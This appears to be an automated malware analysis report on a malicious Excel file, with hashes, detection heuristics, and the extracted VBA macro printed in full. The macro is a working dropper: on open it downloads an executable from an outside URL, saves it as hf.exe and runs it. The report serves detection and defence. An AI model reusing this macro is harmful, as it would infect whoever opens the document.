Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 17cda44d2f0c3019…

MALICIOUS

Office (OOXML)

13.6 KB Created: 2019-08-05 21:40:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-09-07
MD5: 15b7f7c35176d57c7717896634ab8f1c SHA-1: 08532ee2bdc417ea2ae0ef3b9711f8c3580df706 SHA-256: 17cda44d2f0c301922ea0c89c3bf9476cf693c72dfffaf3b0d733ebcaff37b16
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro within the document contains an Auto_Open subroutine that utilizes MSXML2.ServerXMLHTTP to download a file from "https://iplogger.org/2HiRd5" and saves it as "hf.exe". Subsequently, it uses WScript.Shell to execute the downloaded file, indicating a dropper functionality. The presence of critical heuristics for WScript.Shell usage, HTTP download and execution, and ClamAV detections strongly supports this assessment.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-7118696-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7118696-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set objShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    oStream.Write objXMLHTTP.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Public Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://iplogger.org/2HiRd5 Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1263 bytes
SHA-256: 966e560eb3ac7c7bb8c510e24baf1bb50ea9e142b3d813fc01816d8c78c46d32
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Dim objXMLHTTP
Dim objADOStream
Dim objShell
Public Sub Auto_Open()
strFileURL = "https://iplogger.org/2HiRd5"
strHDLocation = "hf.exe"
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objXMLHTTP.Open "GET", strFileURL, False
objXMLHTTP.Send
If objXMLHTTP.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write objXMLHTTP.ResponseBody
oStream.Position = 0
oStream.SaveToFile strHDLocation, 2
oStream.Close
Set oStream = Nothing
End If
Set objXMLHTTP = Nothing
Set objShell = CreateObject("WScript.Shell")
objShell.exec ("hf.exe")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: f672a0355fe7f3ec1a209a00b19bd7b492948078c3a865a10af5ccb75aa2f1d8
Detection
ClamAV: Doc.Dropper.Agent-7118696-0
Obfuscation or payload: unlikely